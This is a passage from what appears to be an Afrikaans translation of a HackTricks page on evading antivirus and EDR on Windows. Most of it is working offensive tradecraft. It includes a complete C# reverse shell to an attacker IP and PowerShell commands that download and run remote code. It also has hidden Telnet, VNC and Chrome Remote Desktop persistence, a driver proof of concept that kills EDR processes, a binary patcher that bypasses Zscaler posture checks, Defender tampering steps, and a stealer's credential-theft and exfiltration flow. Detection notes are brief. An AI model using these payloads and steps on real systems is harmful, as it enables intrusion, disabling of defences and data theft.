Jy kan ook C# Assemblies van PowerShell laai; kyk na Invoke-SharpLoader en S3cur3th1sSh1tâs video.
Using Other Programming Languages
Soos voorgestel in https://github.com/deeexcee-io/LOI-Bins, is dit moontlik om kwaadwillige kode in ander tale uit te voer deur die gekompromitteerde masjien toegang te gee tot die interpreter-omgewing wat op die Attacker Controlled SMB share geĂŻnstalleer is.
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB-share toe te laat, kan jy arbitrĂȘre kode in hierdie tale binne die geheue van die gekompromitteerde masjien uitvoer.
Die repo dui aan: Defender skandeer nog steeds die scripts, maar deur Go, Java, PHP ens. te gebruik het ons meer buigbaarheid om statiese signatures te omseil. Toetsing met ewekansige on-obfuskeerde reverse shell scripts in hierdie tale was suksesvol.
TokenStomping
Token stomping is ân tegniek wat ân aanvaller toelaat om die toegangstoken of ân sekuriteitsproduk soos ân EDR of AV te manipuleer, sodat hulle dit se regte kan verminder â die proses sal nie noodwendig sterf nie, maar sal nie die permissies hĂȘ om na kwaadwillige aktiwiteite te kyk nie.
Om dit te voorkom, kan Windows voorkom dat eksterne prosesse handles oor die tokens van sekuriteitsprosesse kry.
- https://github.com/pwn1sher/KillDefender/
- https://github.com/MartinIngesen/TokenStomp
- https://github.com/nick-frischkorn/TokenStripBOF
Using Trusted Software
Chrome Remote Desktop
Soos beskryf in this blog post, is dit maklik om net Chrome Remote Desktop op ân slagoffer se PC te versprei en dit dan te gebruik om dit oor te neem en volhoubaarheid te handhaaf:
- Download vanaf https://remotedesktop.google.com/, klik op âSet up via SSHâ, en klik dan op die MSI-lĂȘer vir Windows om die MSI-lĂȘer af te laai.
- Voer die installateur stil uit op die slagoffer (admin benodig):
msiexec /i chromeremotedesktophost.msi /qn - Gaan terug na die Chrome Remote Desktop-bladsy en klik next. Die wizard sal jou vra om te autoriseer; klik die Authorize-knoppie om voort te gaan.
- Voer die gegewe parameter met sommige aanpassings uit:
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111(Let op die pin-parameter wat toelaat om die pin te stel sonder om die GUI te gebruik).
Advanced Evasion
Evasion is ân baie ingewikkelde onderwerp; soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is byna onmoontlik om in volwassenes omgewings heeltemal onopgemerk te bly.
Elke omgewing wat jy teĂ«kom sal sy eie sterkpunte en swakhede hĂȘ.
Ek beveel sterk aan dat jy hierdie praatjie van @ATTL4S kyk om ân inkopingspunt in meer Advanced Evasion tegnieke te kry.
[NcN2k20] Understanding and Hiding your Operations - Daniel López Jiménez
Dit is ook ân ander goeie praatjie van @mariuszbit oor Evasion in Depth.
Old Techniques
Check which parts Defender finds as malicious
Jy kan ThreatCheck gebruik wat dele van die binary verwyder totdat dit uitvind watter deel Defender as kwaadwillig beskou en dit vir jou opsplits.
Nog ân hulpmiddel wat dieselfde doen is avred met ân oop webdiens by https://avred.r00ted.ch/
Telnet Server
Tot Windows10 het alle Windows-weergawes ân Telnet server gehad wat jy kon installeer (as administrator) deur:
pkgmgr /iu:"TelnetServer" /quiet
Laat dit begin wanneer die stelsel opstart en voer dit nou uit:
sc config TlntSVR start= auto obj= localsystem
Verander telnet-poort (stealth) en deaktiveer firewall:
tlntadmn config port=80
netsh advfirewall set allprofiles state off
UltraVNC
Download it from: http://www.uvnc.com/downloads/ultravnc.html (you want the bin downloads, not the setup)
ON THE HOST: Voer winvnc.exe uit en konfigureer die server:
- Enable the option Disable TrayIcon
- Set a password in VNC Password
- Set a password in View-Only Password
Then, move the binary winvnc.exe and nuut geskepte file UltraVNC.ini op die victim
Reverse connection
Die attacker moet die binary vncviewer.exe -listen 5900 op sy host uitvoer sodat dit gereed is om ân reverse VNC connection te vang. Dan, op die victim: Start die winvnc daemon winvnc.exe -run en run winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
WAARSKUWING: Om stealth te behou moet jy ân paar dinge nie doen nie
- Moet nie
winvncbegin as dit reeds loop nie, anders sal jy ân popup veroorsaak. check if itâs running withtasklist | findstr winvnc - Moet nie
winvncbegin sonderUltraVNC.iniin dieselfde directory nie of dit sal the config window oopmaak - Moet nie
winvnc -hvir help run nie of jy sal ân popup veroorsaak
GreatSCT
Laai dit af van: https://github.com/GreatSCT/GreatSCT
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
Binne GreatSCT:
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
Nou begin die lister met msfconsole -r file.rc en voer die xml payload uit met:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
Die huidige Defender sal die proses baie vinnig beëindig.
Kompileer ons eie reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Eerste C# Revershell
Kompileer dit met:
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
Gebruik dit met:
back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# wat die compiler gebruik
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Outomatiese aflaai en uitvoering:
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
C# obfuscators lys: https://github.com/NotPrab/.NET-Obfuscator
C++
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
- https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
- https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
- https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
- https://github.com/l0ss/Grouper2
- http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
- http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/
Gebruik python vir build injectors voorbeeld:
Ander gereedskap
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
Meer
Bring Your Own Vulnerable Driver (BYOVD) â Killing AV/EDR From Kernel Space
Storm-2603 het ân klein konsolehulpmiddel gebruik wat bekend staan as Antivirus Terminator om endpoint-beskerming uit te skakel voordat ransomware neergesit is. Die instrument bring sy eie kwesbare maar gesigneerde driver en misbruik dit om bevoorregte kernel-operasies uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.
Belangrike punte
- Signed driver: Die lĂȘer wat na skyf gelewer word is
ServiceMouse.sys, maar die binĂȘre is die wettig gesigneerde driverAToolsKrnl64.sysvan Antiy Labsâ âSystem In-Depth Analysis Toolkitâ. Omdat die driver ân geldige Microsoft-handtekening dra, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) aangeskakel is. - Service installation:
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
Die eerste reĂ«l registreer die driver as ân kernel service en die tweede begin dit sodat \\.\ServiceMouse vanaf user land toeganklik raak.
3. IOCTLs exposed by the driver
| IOCTL code | Vermoë |
|---|---|
0x99000050 | BeĂ«indig ân arbitrĂȘre proses per PID (gebruik om Defender/EDR-dienste te uitskakel) |
0x990000D0 | Vee ân arbitrĂȘre lĂȘer op skyf uit |
0x990001D0 | Laai die driver uit en verwyder die diens |
Minimale C bewys van konsep:
#include <windows.h>
int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}
- Why it works: BYOVD slaan user-mode beskerming heeltemal oor; kode wat in die kernel uitvoer kan beskermde prosesse oopmaak, hulle beëindig, of met kernel-objekte tamper ongeag PPL/PP, ELAM of ander hardening-funksies.
Detection / Mitigation
âą Skakel Microsoft se vulnerable-driver block list aan (HVCI, Smart App Control) sodat Windows weier om AToolsKrnl64.sys te laai.
âą Monitor die skep van nuwe kernel dienste en waarsku wanneer ân driver vanaf ân gids met wĂȘreldwye skryfpermisies gelaai word of nie op die allow-list is nie.
âą Hou Ć oog op user-mode handles na pasgemaakte device-objekte gevolg deur verdagte DeviceIoControl-oproepe.
Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscalerâs Client Connector pas toestel-postuur-reĂ«ls plaaslik toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerpskeuses maak ân volledige omseiling moontlik:
- Postuur-evaluasie gebeur heeltemal kliĂ«ntkant (ân boolean word na die bediener gestuur).
- Interne RPC-endpunte valideer slegs dat die verbindende uitvoerbare lĂȘer gesigneer deur Zscaler is (via
WinVerifyTrust).
Deur vier gesigneerde binaries op skyf te patch kan albei meganismes uitgekakel word:
| Binary | Oorspronklike logika gepatch | Resultaat |
|---|---|---|
ZSATrayManager.exe | devicePostureCheck() â return 0/1 | Gee altyd 1 terug, sodat elke kontrole as voldoen beskou word |
ZSAService.exe | Indirekte oproep na WinVerifyTrust | NOP-ed â enige (selfs ongetekende) proses kan aan die RPC-pype bind |
ZSATrayHelper.dll | verifyZSAServiceFileSignature() | Vervang met mov eax,1 ; ret |
ZSATunnel.exe | Integriteitskontroles op die tunnel | Kortgesluit |
Minimale patcher-uittreksel:
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)
Nadat die oorspronklike lĂȘers vervang is en die diens-stapel herbegin is:
- Alle postuurkontroles wys groen/voldoen.
- Ongetekende of gemodifiseerde binaries kan die named-pipe RPC-eindpunte open (bv.
\\RPC Control\\ZSATrayManager_talk_to_me). - Die gekompromitteerde gasheer kry onbeperkte toegang tot die interne netwerk soos deur die Zscaler-beleide gedefinieer.
Hierdie gevallestudie demonstreer hoe uitsluitlik client-side vertrouensbesluite en eenvoudige handtekeningkontroles met ân paar byte-patches oorkom kan word.
Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) handhaaf ân handtekenaar/vlak-hiĂ«rargie sodat slegs beskermde prosesse met gelyke of hoĂ«r vlak mekaar kan manipuleer. Aanvalsgewys, as jy legitiem ân PPL-enabled binary kan start en sy argumente beheer, kan jy onskuldige funksionaliteit (bv. logging) omskakel in ân beperkte, deur PPL gesteunde skryf-primitief teen beskermde gidse wat deur AV/EDR gebruik word.
Wat veroorsaak dat ân proses as PPL loop
- Die teiken EXE (en enige gelaaide DLLs) moet geteken wees met ân PPL-geskikte EKU.
- Die proses moet geskep word met CreateProcess gebruik makend van die vlae:
EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS. - ân Kompatibele beskermingsvlak moet aangevra word wat by die handtekenaar van die binary pas (bv.
PROTECTION_LEVEL_ANTIMALWARE_LIGHTvir anti-malware handtekenaars,PROTECTION_LEVEL_WINDOWSvir Windows-handtekenaars). Verkeerde vlakke sal tydens skepping misluk.
See also a broader intro to PP/PPL and LSASS protection here:
Windows Credentials Protections
Launcher tooling
- Open-source helper: CreateProcessAsPPL (kies beskermingsvlak en stuur argumente deur na die teikengestelde EXE):
- https://github.com/2x7EQ13/CreateProcessAsPPL
- Gebruikspatroon:
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
LOLBIN primitive: ClipUp.exe
- Die gesigneerde stelsel-binary
C:\Windows\System32\ClipUp.exeskep ân subproses en aanvaar ân parameter om ân loglĂȘer na ân deur die aanroeper gespesifiseerde pad te skryf. - Wanneer dit as ân PPL-proses gelanseer word, gebeur die lĂȘerskryf met PPL-ondersteuning.
- ClipUp kan nie paaie met spasies parse nie; gebruik 8.3-kortpaaie om na normaalweg beskermde lokasies te verwys.
8.3 short path helpers
- Lys kort name:
dir /xin elke ouer-gids. - Kry kortpad in cmd:
for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA
Abuse chain (abstract)
- Lanseer die PPL-geskikte LOLBIN (ClipUp) met
CREATE_PROTECTED_PROCESSdeur ân launcher te gebruik (bv. CreateProcessAsPPL). - Gee die ClipUp log-pad-argument om ân lĂȘerskepping af te dwing in ân beskermde AV-gids (bv. Defender Platform). Gebruik 8.3-kortname indien nodig.
- As die teiken-binary gewoonlik deur die AV oop/gesluit is terwyl dit loop (bv. MsMpEng.exe), skeduleer die skryf tydens opstart voordat die AV begin deur ân auto-start diens te installeer wat betroubaar vroeĂ«r loop. Valideer opstartvolgorde met Process Monitor (boot logging).
- By herlaai gebeur die PPL-ondersteunde skryf voordat die AV sy binaries sluit, wat die teikenlĂȘer korrup maak en die opstart verhinder.
Example invocation (paths redacted/shortened for safety):
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
Aantekeninge en beperkings
- Jy kan nie die inhoud wat ClipUp skryf beheer behalwe die plasing nie; die primitive is geskik vir korrupsie eerder as presiese inhoudsinspuiting.
- Vereis lokale admin/SYSTEM om ân diens te installeer/te begin en ân herlaaivenster.
- Tydsberekening is kritiek: die teiken mag nie oop wees nie; uitvoering tydens opstart vermy lĂȘerslotte.
Opsporings
- Proses-skepping van
ClipUp.exemet ongewone argumente, veral indien dit deur nie-standaard launchers geparenteer is, rondom opstart. - Nuwe dienste gekonfigureer om verdagte binaries outomaties te begin en wat konsekwent voor Defender/AV begin. Ondersoek diensskepping/wysiging voor Defender-opstartfoute.
- LĂȘer-integriteitsmonitering op Defender binaries/Platform-lĂȘergidse; onverwagte lĂȘerskeppings/wysigings deur prosesse met protected-process-vlagte.
- ETW/EDR telemetry: kyk vir prosesse geskep met
CREATE_PROTECTED_PROCESSen abnormale gebruik van PPL-vlakke deur nie-AV binaries.
Mitigeringsmaatreëls
- WDAC/Code Integrity: beperk watter gesigneerde binaries as PPL mag loop en onder watter ouers; blokkeer ClipUp-aanroep buite wettige kontekste.
- Dienshigiëne: beperk skepping/wysiging van outo-begin-dienste en monitor manipulasie van begin-orde.
- Maak seker Defender tamper protection en early-launch protections is geaktiveer; ondersoek opstartfoute wat na binary-korrupsie dui.
- Oorweeg om 8.3 short-name generation op volumes wat sekuriteitsgereedskap huisves uit te skakel indien verenigbaar met jou omgewing (toets deeglik).
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
Tampering Microsoft Defender via Platform Version Folder Symlink Hijack
Windows Defender kies die platform waarvandaan dit loop deur subgidse onder te enumereer:
C:\ProgramData\Microsoft\Windows Defender\Platform\
Dit kies die subgids met die hoogste leksikografiese weergawe-string (bv. 4.18.25070.5-0), en begin dan die Defender-diensprosesse van daar af (en werk diens-/registerpaaie dienooreenkomstig by). Hierdie seleksie vertrou gidsinskrywings insluitende directory reparse points (symlinks). ân Administrateur kan dit misbruik om Defender na ân aanvaller-skryfbare pad om te lei en sodoende DLL sideloading of diensonderbreking te bereik.
Voorvereistes
- Local Administrator (benodig om gidse/symlinks onder die Platform-gids te skep)
- Vermoë om te herbegin of Defender platform-herseleksie te trigger (diens-herbegin op opstart)
- Slegs ingeboude gereedskap benodig (mklink)
Hoekom dit werk
- Defender blokkeer skrywe in sy eie gidse, maar sy platformseleksie vertrou gidsinskrywings en kies die leksikografies hoogste weergawe sonder te verifieer dat die teiken na ân beskermde/vertroude pad oplos.
Stapsgewyse (voorbeeld)
- Prepare a writable clone of the current platform folder, e.g.
C:\TMP\AV:
set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
set DST="C:\TMP\AV"
robocopy %SRC% %DST% /MIR
- Skep ân hoĂ«r-weergawe gids-symlink binne Platform wat na jou gids wys:
mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
- Trigger-keuse (herbegin word aanbeveel):
shutdown /r /t 0
- Verifieer dat MsMpEng.exe (WinDefend) vanaf die omgelei pad loop:
Get-Process MsMpEng | Select-Object Id,Path
# or
wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath
Jy behoort die nuwe prosespad onder C:\TMP\AV\ te sien en die dienskonfigurasie/register wat daardie ligging weerspieël.
Post-exploitation options
- DLL sideloading/code execution: Plaas/vervang DLLs wat Defender vanaf sy toepassingsgids laai om kode in Defender se prosesse uit te voer. See the section above: DLL Sideloading & Proxying.
- Service kill/denial: Verwyder die version-symlink sodat by die volgende begin die gekonfigureerde pad nie oplos nie en Defender misluk om te begin:
rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"
Tip
Let wel: hierdie tegniek verskaf op sigself geen privilege escalation nie; dit vereis admin rights.
API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style)
Red teams kan runtimeâevasie uit die C2âimplant na die teikenmodule self verskuif deur sy Import Address Table (IAT) te hook en geselekteerde APIs deur attackerâcontrolled, positionâindependent code (PIC) te stuur. Dit veralgemeen evasion buite die klein APIâoppervlak wat baie kits blootstel (bv., CreateProcessA), en brei dieselfde beskerming uit na BOFs en postâexploitation DLLs.
Hoëvlakbenadering
- Plaas ân PICâblob langs die teikenmodule met behulp van ân reflective loader (prepended of companion). Die PIC moet selfstandig en posisieâonafhanklik wees.
- Terwyl die gasheerâDLL laai, deurloop sy IMAGE_IMPORT_DESCRIPTOR en patch die IATâinskrywings vir geteikende imports (bv., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) sodat hulle na dun PICâwrappers wys.
- Elke PICâwrapper voer versteekmetodes uit voordat hy ân tailâcalling na die werklike APIâadres maak. Tipiese versteekmetodes sluit in:
- Geheue maskering/deâmaskering rondom die oproep (bv., encrypt beaconâstreke, RWXâRX, verander bladsyâname/toestemmings) en herstel daarna.
- Callâstack spoofing: konstrueer ân onskadelike stapel en skuif in die teikenâAPI sodat callâstackâanalise na verwagte rame oplos.
- Vir kompatibiliteit, exporteer ân koppelvlak sodat ân Aggressorâscript (of ekwivalent) kan registreer watter APIs om te hook vir Beacon, BOFs en postâex DLLs.
Why IAT hooking here
- Werk vir enige kode wat die gehookte import gebruik, sonder om toolâkode te wysig of te staatmaak op Beacon om spesifieke APIs te proxyeer.
- Dek postâex DLLs: deur LoadLibrary* te hook kan jy moduleâlaaie onderskep (bv., System.Management.Automation.dll, clr.dll) en dieselfde maskering/stackâevasie op hul APIâoproepe toepas.
- Herstel betroubare gebruik van prosesâopwekking postâex opdragte teen callâstackâgebaseerde deteksies deur CreateProcessA/W te omsluit.
Minimal IAT hook sketch (x64 C/C++ pseudocode)
// For each IMAGE_IMPORT_DESCRIPTOR
// For each thunk in the IAT
// if imported function == "CreateProcessA"
// WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper;
// Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask();
Aantekeninge
- Pas die patch toe nĂĄ relocations/ASLR en voor die eerste gebruik van die import. Reflective loaders like TitanLdr/AceLdr demonstreer hooking tydens DllMain van die gelaaide module.
- Hou wrappers klein en PIC-safe; los die ware API op via die oorspronklike IAT-waarde wat jy vasgelĂȘ het voor patching of via LdrGetProcedureAddress.
- Gebruik RW â RX oorgange vir PIC en vermy om writable+executable bladsye agter te laat.
Callâstack spoofing stub
- Draugrâstyle PIC stubs bou ân vals oproepketting (retouradresse in onskadelike modules) en pivot dan na die regte API.
- Dit slaan opsporingsmaatreëls wat verwag kanoniese stacks van Beacon/BOFs na sensitiewe APIs.
- Kombineer dit met stack cutting/stack stitching tegnieke om binne verwagte frames te land voor die API-proloog.
Operasionele integrasie
- Voeg die reflective loader aan die begin van postâex DLLs sodat die PIC en hooks outomaties initialiseert wanneer die DLL gelaai word.
- Gebruik ân Aggressor-script om target APIs te registreer sodat Beacon en BOFs deursigtig baat by dieselfde evasion-pad sonder kodeveranderinge.
Detection/DFIR oorwegings
- IAT integriteit: entries wat oplos na nonâimage (heap/anon) adresse; periodieke verifikasie van import pointers.
- Stack anomalieĂ«: return addresses wat nie aan gelaaide images behoort nie; abrupte oorgange na nonâimage PIC; inkonsequente RtlUserThreadStart afkoms.
- Loader telemetry: inâprocess skryfaksies na IAT, vroeĂ« DllMain-aktiwiteit wat import thunks wysig, onverwagte RX-streke geskep tydens laai.
- Imageâload evasion: indien hooking LoadLibrary*, monitor verdagte laaie van automation/clr assemblies gekorreleer met memory masking events.
Verwante boublokke en voorbeelde
- Reflective loaders wat IAT patching tydens laai uitvoer (e.g., TitanLdr, AceLdr)
- Memory masking hooks (e.g., simplehook) en stackâcutting PIC (stackcutting)
- PIC callâstack spoofing stubs (e.g., Draugr)
SantaStealer Tradecraft vir Fileless Evasion en Credential Theft
SantaStealer (aka BluelineStealer) illustreer hoe moderne info-stealers AV bypass, anti-analysis en credential access in ân enkele workflow kombineer.
Keyboard layout gating & sandbox delay
- ân Konfigurasievlag (
anti_cis) enumereer geĂŻnstalleerde sleutelbordindelings viaGetKeyboardLayoutList. As ân Cyrillic-layout gevind word, laat die sample ân leĂ«CIS-merker val en beĂŻndig voordat dit stealers uitvoer, wat verseker dat dit nooit op uitgeslote lokale ontplof nie terwyl dit ân opspeuringsartefak agterlaat.
HKL layouts[64];
int count = GetKeyboardLayoutList(64, layouts);
for (int i = 0; i < count; i++) {
LANGID lang = PRIMARYLANGID(HIWORD((ULONG_PTR)layouts[i]));
if (lang == LANG_RUSSIAN) {
CreateFileA("CIS", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
ExitProcess(0);
}
}
Sleep(exec_delay_seconds * 1000); // config-controlled delay to outlive sandboxes
Layered check_antivm logic
- Variant A deurloop die proseslys, hash elke naam met ân pasgemaakte rolling checksum en vergelyk dit teen ingebedde blocklists vir debuggers/sandboxes; dit herhaal die checksum oor die rekenaarnaam en kontroleer werkgidse soos
C:\analysis. - Variant B ondersoek stelsel-eienskappe (process-count floor, recente uptime), roep
OpenServiceA("VBoxGuest")om VirtualBox additions op te spoor, en voer timing checks rondom sleeps uit om single-stepping te ontdek. Enige treffer breek af voordat modules gelanseer word.
Fileless helper + double ChaCha20 reflective loading
- Die primĂȘre DLL/EXE embed ân Chromium credential helper wat Ăłf na skyf gedrop word Ăłf manueel in-geheue gemapped word; fileless mode los imports/relocations self op sodat geen helper-artefakte geskryf word nie.
- Daardie helper stoor ân tweede-fase DLL wat twee keer met ChaCha20 versleuteld is (twee 32-byte sleutels + 12-byte nonces). Na albei passe laai dit die blob reflectively (geen
LoadLibrary) en roep die exportsChromeElevator_Initialize/ProcessAllBrowsers/Cleanupwat ontleen is aan ChromElevator. - Die ChromElevator-roetines gebruik direct-syscall reflective process hollowing om in ân lewendige Chromium-browser te inject, erf AppBound Encryption keys, en ontsleutel wagwoorde/cookies/kredietkaarte direk uit SQLite-databasisse ondanks ABE hardening.
Modular in-memory collection & chunked HTTP exfil
create_memory_based_logloop deur ân globalememory_generatorsfunction-pointer tabel en spawn een thread per ingeskakelde module (Telegram, Discord, Steam, screenshots, documents, browser extensions, etc.). Elke thread skryf resultate in gedeelde buffers en rapporteer sy lĂȘertelling na ân ~45s join-venster.- Sodra dit klaar is, word alles ge-zip met die staties gelinkte
minizlibrary as%TEMP%\\Log.zip.ThreadPayload1slaap dan 15s en streem die argief in 10âŻMB-stukke via HTTP POST nahttp://<C2>:6767/upload, deur ân browsermultipart/form-databoundary (----WebKitFormBoundary***) te spoof. Elke stukkie voegUser-Agent: upload,auth: <build_id>, opsioneelw: <campaign_tag>by, en die laaste stukkie hegcomplete: trueaan sodat die C2 weet re-assemblage voltooi is.
Verwysings
-
Unit42 â New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer
-
Synacktiv â Should you trust your zero trust? Bypassing Zscaler posture checks
-
Check Point Research â Before ToolShell: Exploring Storm-2603âs Previous Ransomware Operations
-
Hexacorn â DLL ForwardSideLoading: Abusing Forwarded Exports
-
Zero Salarium â Countering EDRs With The Backing Of Protected Process Light (PPL)
-
Zero Salarium â Break The Protective Shell Of Windows Defender With The Folder Redirect Technique
-
Check Point Research â Under the Pure Curtain: From RAT to Builder to Coder
-
Rapid7 â SantaStealer is Coming to Town: A New, Ambitious Infostealer
-
Check Point Research â GachiLoader: Defeating Node.js Malware with API Tracing
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
